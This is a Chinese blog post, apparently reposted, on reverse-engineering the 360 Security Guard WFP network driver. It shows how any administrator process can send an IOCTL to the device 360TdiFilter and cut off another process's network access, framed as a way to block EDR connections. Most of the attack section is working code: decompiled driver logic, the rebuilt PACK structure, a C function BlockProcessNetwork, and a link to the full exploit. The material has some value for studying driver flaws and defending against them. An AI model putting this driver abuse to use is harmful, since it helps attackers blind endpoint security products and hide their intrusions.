利用360驱动阻断EDR网络连接

· 2026-02-11 01:20 · 5 阅读

可以遐想 2026-02-11 01:20 安徽

以下文章来源于:遐想的小窝

遐想的小窝

曾专注红队对抗和武器化开发,现懒癌晚期,随缘研究。

闲来无事发个水文,记录一下特殊情况下分析360安全卫士过程中觉得可以公开的一个点。

在对 `360netmon_x64_wfp.sys` 进行逆向工程时,我首先定位到驱动的入口点 `DriverEntry`,发现驱动创建了两个设备对象:

    IoCreateDevice(DriverObject0L"\\Device\\360TdiFilter", 0x22u, 00&deviceObject);
    IoCreateSymbolicLink(L"\\DosDevices\\360TdiFilter"L"\\Device\\360TdiFilter");


    IoCreateDevice(DriverObject0L"\\Device\\360TdiSpeed", 0x22u, 00&qword_25320);
    IoCreateSymbolicLink(L"\\DosDevices\\360TdiSpeed"L"\\Device\\360TdiSpeed");

    这两个设备可以从用户态通过符号链接 `\\\\.\\\\360TdiFilter` 和 `\\\\.\\\\360TdiSpeed` 访问。

    这个驱动注册了多个 IRP 处理函数,其中 `IrpMjDeviceControl` 处理函数(地址 `0x12374`)负责处理所有 IOCTL 请求。

    在 IrpMjDeviceControl 的入口处,代码仅验证设备对象是否匹配,完全没有调用者身份验证:

      123D8: mov rcx, cs:g_pDeviceObject_TdiFilter
      123DF: cmp rdi, rcx ; 仅验证设备对象
      123E2: jz short loc_12422

      既然如此我们就不得不去分析 IOCTL 接口实现进一步的利用。因为我们通过驱动的信息已经知道这个WFP驱动的用途,所以我们的预期就是任意的阻断网络功能。

      很快我们的目光就到了 IOCTL 0x220804:身上,我们猜测功能是设置进程网络限速/阻断。于是细细地看了一下。

      跟进sub_18BB8方法,我们发现它会:

      • 解析用户提供的进程路径

      • 在进程hash表中查找或创建进程节点

      • 设置进程的限速配置字段

      • 如果 qwBlockCnnt 设置为 LLONG_MAX,则完全阻断网络

      IOCTL 0x220444 则主要负责WFP 过滤器操作,用来动态添加/删除 WFP 过滤规则,我们直接摸进sub_1D45C。

        NTSTATUS __fastcall sub_1D45C(int a1)
        {
         NTSTATUS v7;
         char v1, v2, v3, v4;


         // 检查 Windows 版本(仅支持 Win10 1607+)
         if (g_WindowsBuildNumber < 0x23F0// Build 9200
         return STATUS_NOT_IMPLEMENTED;


         // 检查是否已经是相同模式
         if (dword_6B78C == a1)
         return STATUS_SUCCESS;


         // 检查 WFP 引擎句柄
         if (!engineHandle)
         return STATUS_DEVICE_NOT_READY;


         // 开始 WFP 事务
         v7 = FwpmTransactionBegin0(engineHandle, 0);
         if (v7 < 0)
         return v7;


         if (a1) { // 启用过滤
         // 注册 4 个 WFP Callout (Established V4/V6, Datagram V4/V6)
         v7 = sub_1D1E8(qword_6B790, &xmmword_236D0, &calloutId);
         if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
         goto CLEANUP;
         v1 = 1;


         v7 = sub_1D1E8(qword_6B790, &xmmword_236E0, &dword_6B10C);
         if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
         goto CLEANUP;
         v2 = 1;


         v7 = sub_1D1E8(qword_6B790, &xmmword_236F0, &dword_6B750);
         if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
         goto CLEANUP;
         v3 = 1;


         v7 = sub_1D1E8(qword_6B790, &xmmword_23700, &dword_6B754);
         if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
         goto CLEANUP;
         v4 = 1;


         // 添加 4 个 WFP Filter
         v7 = sub_1CF28(..., engineHandle, 0, &dword_6B7A0);
         // ... (重复为其他3个过滤器)


         } else { // 禁用过滤
         // 删除所有过滤器和 Callout
         v7 = FwpmFilterDeleteById0(engineHandle, id);
         v7 = FwpmFilterDeleteById0(engineHandle, qword_6B7C0);
         v7 = FwpmCalloutDeleteById0(engineHandle, dword_6B7A0);
         // ...


         sub_1E288(); // 清理内部状态
         FwpsCalloutUnregisterById0(calloutId);
         FwpsCalloutUnregisterById0(dword_6B10C);
         FwpsCalloutUnregisterById0(dword_6B750);
         FwpsCalloutUnregisterById0(dword_6B754);
         }


         // 提交 WFP 事务
         v7 = FwpmTransactionCommit0(engineHandle);
         if (v7 >= 0)
         dword_6B78C = a1; // 保存当前模式


        CLEANUP:
         if (v7 < 0) {
         // 失败时回滚并清理已注册的 Callout
         if (v1) FwpsCalloutUnregisterById0(calloutId);
         if (v2) FwpsCalloutUnregisterById0(dword_6B10C);
         if (v3) FwpsCalloutUnregisterById0(dword_6B750);
         if (v4) FwpsCalloutUnregisterById0(dword_6B754);
         FwpmTransactionAbort0(engineHandle);
         }


         return v7;
        }

        也就是说:

        • 这玩意儿在 WFP 层级动态注册/注销 Callout 和 Filter

        • Callout 在 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4/V6和

        • FWPM_LAYER_ALE_AUTH_CONNECT_V4/V6 层拦截

        • 没有验证调用者权限,任何管理员进程都可以调用

        驱动通过以下流程实现网络阻断:



          用户态应用 (Pwn.exe)
           ↓ DeviceIoControl(0x220804&LIMIT_SPEED)
          ┌───▼─────────────────────────────┐
          │ IrpMjDeviceControl │
          │ @ 0x12374 │
          └───┬─────────────────────────────┘
           ↓ call sub_18BB8
          ┌───▼─────────────────────────────┐
          │ 解析进程路径并查找哈希表 │
          │ LookupProcessInHashTable() │
          └───┬─────────────────────────────┘
           ↓ 更新进程节点
          ┌───▼─────────────────────────────┐
          │ ProcessNode->qwBlockCnnt = MAX │
          │ ProcessNode->nLimitSend = MAX │
          │ ProcessNode->nLimitRecv = MAX │
          │ ProcessNode->bCancelFlag = FALSE │
          └───┬─────────────────────────────┘
           ↓
           等待目标进程产生网络活动
           ↓
          ┌───▼─────────────────────────────┐
          │ WFP Callout 拦截点 │
          │ (网络包发送/接收时触发) │
          └───┬─────────────────────────────┘
           ↓ 查询限速配置
          ┌───▼─────────────────────────────┐
          │ if (ProcessNode->qwBlockCnnt │
          │ == LLONG_MAX) │
          │ return FWP_ACTION_BLOCK; │
          └──────────────────────────────────┘
           ↓
           网络包被丢弃,进程无法联网

          现在开始搓POC

          通过逆向分析和动态调试,我们重建了驱动期望的数据结构:



            #pragma pack(push, 4)
            typedef struct _PACK {
             WCHAR szNtPath[MAX_PATH + 40]; // +0x000: NT格式路径 (e.g., \WINDOWS\SYSTEM32\NOTEPAD.EXE)
             WCHAR szPath[MAX_PATH]; // +0x228: DOS格式路径 (e.g., C:\Windows\System32\notepad.exe)
             BOOL bCancelFlag; // +0x428: TRUE=解除限制, FALSE=应用限制
             LONGLONG qwBlockCnnt; // +0x430: 阻断计数器 (LLONG_MAX = 完全阻断)
             LONGLONG nLimitSend; // +0x438: 上传速度限制 (字节/秒)
             LONGLONG nLimitRecv; // +0x440: 下载速度限制 (字节/秒)
             DWORD dwZeroCheck; // +0x448: 保留字段 (必须为0)
            } PACK, *PPACK;
            #pragma pack(pop)

            后面的就很简单了,只需要这样那样就可以了:

              BOOL BlockProcessNetwork(const WCHAR *szImagePath) {
               HANDLE hDevice;
               PACK ls;
               DWORD dwBytesReturned;


               // 1. 打开驱动设备对象
               hDevice = CreateFileW(
               L"\\\\.\\360TdiFilter",
               GENERIC_READ | GENERIC_WRITE,
               FILE_SHARE_READ | FILE_SHARE_WRITE,
               NULL,
               OPEN_EXISTING,
               0,
               NULL
               );


               if (hDevice == INVALID_HANDLE_VALUE) {
               printf("[!] Failed to open device (Error: %lu)\n", GetLastError());
               return FALSE;
               }


               // 2. 启用驱动监控功能(可选,驱动可能已启用)
               DeviceIoControl(hDevice, 0x220408NULL0NULL0, &dwBytesReturned, NULL);


               // 3. 构造限速/阻断结构体
               ZeroMemory(&ls, sizeof(ls));
               wcsncpy_s(ls.szPath, MAX_PATH, szImagePath, _TRUNCATE);
               ConvertToNtPath(szImagePath, ls.szNtPath); // 转换为NT路径格式


               ls.bCancelFlag = FALSE// FALSE = 应用限制
               ls.qwBlockCnnt = LLONG_MAX; // 设置为最大值 = 完全阻断
               ls.nLimitSend = LLONG_MAX; // 上传限制 = 无限大
               ls.nLimitRecv = LLONG_MAX; // 下载限制 = 无限大
               ls.dwZeroCheck = 0;


               // 4. 发送 IOCTL 请求
               if (!DeviceIoControl(
               hDevice,
               0x220804// IOCTL_360TDIFILTER_LIMIT_PROCESS_SPEED
               &ls,
               sizeof(ls),
               NULL,
               0,
               &dwBytesReturned,
               NULL)) {
               printf("[!] DeviceIoControl failed (Error: %lu)\n", GetLastError());
               CloseHandle(hDevice);
               return FALSE;
               }


               printf("[+] Successfully blocked: %S\n", szImagePath);
               CloseHandle(hDevice);
               return TRUE;
              }

              完整的EXP可以查看我的Github:

              https://github.com/kyxiaxiang/360WFP_Exploit

              阻断后:

              当然了360对自己是加了白名单的,所以银狐们退下吧(/摊手/)

              阅读原文

              跳转微信打开